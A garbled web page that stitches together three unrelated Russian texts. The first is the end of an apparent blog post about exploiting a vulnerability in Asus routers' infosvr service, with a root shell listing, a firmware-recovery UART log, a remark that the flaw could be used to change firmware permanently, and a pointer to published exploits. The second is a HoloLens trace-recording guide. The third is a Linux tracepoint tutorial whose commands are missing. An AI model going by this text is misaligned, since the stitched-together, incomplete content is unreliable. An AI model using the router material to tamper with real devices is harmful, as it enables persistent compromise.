31 2 4032 mtdblock2
#
# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00001000 «boot + cfg»
mtd1: 00322fee 00001000 «root fs»
mtd2: 003f0000 00001000 «linux + root fs»
#
# ls -lF /dev
crw-rw-rw- 1 root root 4, 64 Sep 18 20:22 console
lrwxrwxrwx 1 root root 8 Sep 18 12:05 log -> /tmp/log=
drwxrwxrwx 2 root root 3 Sep 18 12:03 misc/
brw-rw-rw- 1 root root 31, 0 Sep 18 12:05 mtdblock0
brw-rw-rw- 1 root root 31, 1 Sep 18 12:05 mtdblock1
brw-rw-rw- 1 root root 31, 2 Sep 18 12:05 mtdblock2
brw-rw-rw- 1 root root 31, 3 Sep 18 12:05 mtdblock3
crw-rw-rw- 1 root root 1, 3 Sep 18 12:05 null
crw-rw-rw- 1 root root 108, 0 Sep 18 12:05 ppp
crw-rw-rw- 1 root 5 5, 2 Sep 18 12:05 ptmx
drwxrwxrwx 2 root root 3 Sep 18 12:03 pts/
crw-rw-rw- 1 root root 2, 0 Sep 18 20:23 ptyp0
crw-rw-rw- 1 root root 2, 1 Sep 18 12:05 ptyp1
crw-rw-rw- 1 root root 4, 64 Sep 18 12:05 ttyS0
crw-rw-rw- 1 root root 4, 65 Sep 18 12:05 ttyS1
crw-rw-rw- 1 root root 3, 0 Sep 18 20:23 ttyp0
crw-rw-rw- 1 root root 3, 1 Sep 18 12:05 ttyp1
crw-rw-rw- 1 root root 1, 9 Sep 18 12:05 urandom
#

Я как-то неосторожно что-то перенаправил в /dev/mtdblock2. Оно записалось. Роутер работал. Потом, когда я решил его перезагрузить — он не загрузился. Посмотрев, что выдаётся на UART я понял, что всё-таки повредил прошивку. Роутер загрузился в режиме восстановления (именно с этим режимом работает утилита Asus Firmware Restoration).

========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode —
|No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|

—RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)
no sys signature at 00010000!
Set 8196C PHY Patch OK

—Ethernet init Okay!
<RealTek>
<RealTek>ps
Unknown command!
<RealTek>
<RealTek>ls
Unknown command!
<RealTek>
<RealTek>help
— COMMAND MODE HELP — HELP (?): Print this help message
D <Address> <Len>
DB <Address> <Len>
DW <Address> <Len>
EW <Address> <Value1> <Value2>…
EB <Address> <Value1> <Value2>…
CMP: CMP <dst><src><length>
IPCONFIG:<TargetAddress>
AUTOBURN: 0/1
LOADADDR: <Load Address>
J: Jump to <TargetAddress>
FLW <dst_ROM_offset><src_RAM_addr><length_Byte> <SPI cnt#>: Write offset-data to SPI from RAM
<RealTek>

**TFTP GET File ASUSSPACELINK1ю,Size 0 Byte

**filename: 31 13 FFFFFFFE FFFFFFA9 Byte
run ASUSSPACELINK

**TFTP Client Upload, File Name: ASUSSPACELINK

**TFTP Client Upload File Size = 278ABC Bytes at 80500000

Success!
<RealTek>
Linux kernel (root-fs) upgrade.
checksum Ok!
burn Addr =0x10000! srcAddr=0x80500000 len =0xcd012

####head_offset: 0(0x0), flash_burnAddr: 0x10000, is_firmware: 1

####Start to burn…

Flash Write Successed!
<RealTek>
Root filesystem upgrade.
checksum Ok!
burn Addr =0x100000! srcAddr=0x805cd022 len =0x1aba9a

####head_offset: 839698(0xcd012), flash_burnAddr: 0xdd012, is_firmware: 1

####Start to burn…

Flash Write Successed!
<RealTek>
reboot.

Сам факт повреждения прошивки в работающем роутере, говорит о том, что используя уязвимость можно менять её. Тогда изменения на роутере будут перманентными, а не только до перезагрузки, как было до сих пор.
Но на исследование этого у меня нет ни времени, ни желания.

Исходники AsusRouterTools, а также бинарники под Windows можно найти в репозитории на GitHub.

З.Ы. Раз уж разобрались с infosvr, почему бы не использовать его ещё и по назначению? AsusDiscover — это единственное, что продолжит работать после установки прошивки с устраненной уязвимостью.

P.S. Это моя первая публикация, поэтому буду рад любым советам и замечаниям как по поводу статьи, так и по поводу программного кода.

P.P.S. Немножко негодования: Хабрахабру стоит добавить к интерфейсу написания статьи защиту от случайной публикации. Как-то я нажал Enter — и сработала кнопка «Опубликовать». Нужно же добавить либо какой-то предохранительный чекбокс, либо переспрашивать перед публикацией, либо давать возможность тут же отозвать отправку на публикацию. Да ещё и большая такая… Можно промахнуться и тыкнуть её вместо «Предпросмотра». Почему так не продумано?

UPD: Совместными усилиями с читателями (@a553), в эксплоитах исправлены ошибки, приводящие к падению при получении ответа от некоторых роутеров. Подробнее в этом комментарии.

Запись трассировки на HoloLens

Чтобы записать трассировку на HoloLens, загрузите устройство и введите его IP-адрес в браузер, чтобы открыть Портал устройств.

Портал устройств

  1. Слева перейдите к Производительность > Трассировка производительности.
  2. Выберите Пользовательские профили
  3. Нажмите Browse.
  4. Выберите файл AzureRemoteRenderingNetworkProfiling.wprp. Вы можете найти этот файл в ARR SDK в разделе Tools/ETLProfiles.
  5. Нажмите Начать трассировку
  6. HoloLens теперь записывает след. Обязательно активируйте проблемы с производительностью, которые вы хотите исследовать. Затем нажмите Остановить трассировку.
  7. След будет указан внизу веб-страницы. Щелкните значок диска справа, чтобы загрузить файл ETL.

Теперь у вас есть файл ETL, который вы можете открыть непосредственно в WPA или отправить кому-то другому.

Трассировка событий

Выше мы уже упоминали о механизме tracepoints. Слово tracepoint в переводе означает «точка трассировки». Точка трассировки — это специальная вставка в код, регистрирующая определённые системные события. Точка трассировки могут быть активной (это значит, что за ней закреплена некоторая проверка) или неактивной (никакой проверки за ней не закреплено).

Неактивная точка трассировки никакого влияния на работу системы не оказывает; она лишь добавляет несколько байт для вызова трассировочной функции в конце инструментированной функции, а также добавляет структуру данных в отдельную секцию.

Когда точка трассировки активна, при выполнении соответствующего фрагмента кода вызывается трассировочная функция. Данные трассировки записываются в отладочный кольцевой буфер.

Точки трассировки могут быть вставлены в любое место в коде. Они уже присутствуют в коде многих ядерных функций. Рассмотрим, например, функцию kmem_cache_alloc (взято отсюда ):

trace_kmem_cache_alloc — это как раз и есть точка трассировки. Количество подобных примеров можно умножить, обратившись к исходному коду других функций ядра.

В ядре Linux имеется специальный API, с помощью которого можно работать с точками трассировки из пользовательского пространства. В директории /sys/kernel/debug/tracing есть поддиректория events, в которой хранятся доступные для отслеживания системные события. Системное событие в данном контексте — не что иное, как включенные в ядро точки трассировки.

Их список можно просмотреть с помощью команды:

На консоль будет выведен длинный список, просматривать который довольно неудобно. Вывести этот же список в более структурированном формате можно так:

Все возможные типы событий объединены в подддиректории по подсистемам. Прежде чем приступать к отслеживанию событий, проверим, включена ли запись событий в кольцевой буфер:

Если после выполнения этой команды на консоль будет выведена цифра 0, выполним:

В прошлой статье мы писали о системном вызове chroot() — вход в этом системный вызов мы и будем отслеживать. В качестве трассировщика мы выберем nop: function и function_graph записывают слишком много информации, в том числе и не имеющей отношения к интересующему нас событию.

Все события, связанные с системными вызовами, хранятся в директории syscalls. В ней, в свою очередь, хранятся директории для входа и выхода из различных системных вызовов. Активируем нужную нам точку трассировки, записав 1 в её enable-файл:

Затем создадим изолированную файловую систему с помощью команды chroot (подробности см. в предыдущем посте). После выполнения интересующих нас команд отключим трассировку, чтобы в вывод не попадала информация о лишних и не имеющих отношения к делу событиях:

Далее посмотрим содержимое кольцевого буфера. В самом конце вывода будет содержаться информация об интересующем нас системном вызове (приводим небольшой фрагмент):

Более подробно о настройках трассировки событий можно почитать здесь .

Ссылка на основную публикацию
Adblock
detector